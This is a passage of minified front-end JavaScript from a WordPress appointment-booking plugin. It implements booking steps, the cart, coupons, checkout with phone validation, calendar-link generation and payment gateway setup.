t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case"bool":s=H(t);break;case"integer":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class de{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,s]=e.split(":").map(Number);if(isNaN(t)||isNaN(s))throw new Error("Unknown timezone format: "+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const h=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push("BEGIN:VTIMEZONE","TZID:"+n,"END:VTIMEZONE");let c={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+o,dtend:"DTEND"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+l,summary:"SUMMARY:"+i,description:"DESCRIPTION:"+a,location:"LOCATION:"+r};c=wp.hooks.applyFilters("mpa_prepare_vevent_data",c);let p=Object.values(c);h.push("BEGIN:VEVENT",...p,"END:VEVENT"),h.push("END:VCALENDAR");const d=h.join("\n"),u=new Blob([d],{type:"text/calendar"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL("https://www.google.com/calendar/render"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),r.search=new URLSearchParams({action:"TEMPLATE",text:s,dates:`${o}/${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append("ctz",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL("https://calendar.yahoo.com/"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:"60",view:"d",type:"20",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(/T\d\d\d\d\d\d|Z/g,""),h.dur="allday"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+". "+s.getQuantityLabel()+": "+e.getCapacity()+".";let r=i;e.getCapacity()>1&&(r+=" ",r+='<span class="mpa-reservation-capacity">',r+=s.getQuantityLabel()+": "+e.getCapacity(),r+="</span>"),t.find(".reservation-title").html(r),t.find(".reservation-date").html(f(e.date)),t.find(".reservation-time").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function ge(e){let t="";for(let s in e)t+=" "+s+'="'+e[s]+'"';return t}function ye(e,t={}){return"<button"+ge(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function fe(e,t){let s={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},i=t.clone();i.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let n=s[t],o=i.find(n).first(),l="{"+t+"}";if(!(o.length>0?o.html():"").includes(l))continue;let h="";switch(t){case"service_id":h=e.service.id;break;case"service_name":h=e.service.name;break;case"service_thumbnail":h=ke(e.service.thumbnail);break;case"employee_id":h=e.employee.id;break;case"employee_name":h=e.employee.name;break;case"location_id":h=e.location.id;break;case"location_name":h=e.location.name;break;case"reservation_date":h=f(e.date);break;case"reservation_save_date":h=f(e.date,"internal");break;case"reservation_time":h=e.time.toString("short");break;case"reservation_period":h=e.time.toString();break;case"reservation_save_period":h=e.time.toString("internal");break;case"reservation_capacity":h=_e(r(a,a),e.capacity);break;case"reservation_clients":h=Ce(r(a,a),e.capacity);break;case"reservation_clients_count":h=e.capacity;break;case"reservation_price":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),i.find('[name*="{item_id}"]').each(((t,s)=>{s.name=s.name.replace("{item_id}",e.getItemId())})),1===a.length&&i.find(".cell-people").addClass("mpa-hide"),i}function be(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let s of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+s.name+"</span>",s.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=s.quantity_label+": "+s.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+Se(s.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+u("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+Se(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=u("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=Se(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+u("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+u("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+Se(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=".",i=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",i=g("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp("\\"+t+"0+$");return e.replace(s,"")}(i));let s='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":i=s+i;break;case"after":i+=s;break;case"before_with_space":i=s+"&nbsp;"+i;break;case"after_with_space":i=i+"&nbsp;"+s}e<0&&(i="-"+i)}return'<span class="'+a+'">'+i+"</span>"}function Se(e,t={}){return t.literal_free=!1,ve(e,t)}function _e(e,t,s={}){let i="<select"+ge(s)+">";return i+=Ce(e,t),i+="</select>",i}function Pe(e,t,s=!1){let i="";return i='<option value="'+e+'"'+(s?' selected="selected"':"")+">",i+=t,i+="</option>",i}function Ce(e,t){let s="";for(let i in e)s+=Pe(i,e[i],i==t);return s}function we(e,t,s,i){let a="";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return"<img"+ge({width:t,height:s,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id="'+s+'"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data("id"),s=this.cart.getItem(t),i=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");i.on("change",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Se(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(u("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ie(e){const i=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:u("Phone number is invalid.","motopress-appointment")});e.after("<br>",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr("name"),utilsScript:t.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),i.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),i.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty("name",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty("email",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&"undefined"!==t.currentCustomer.phone&&(this.setProperty("phone",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return c("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new M,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(".mpa-stripe-payment-method."+i),t.$fields=e.find(".mpa-stripe-payment-fields."+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const 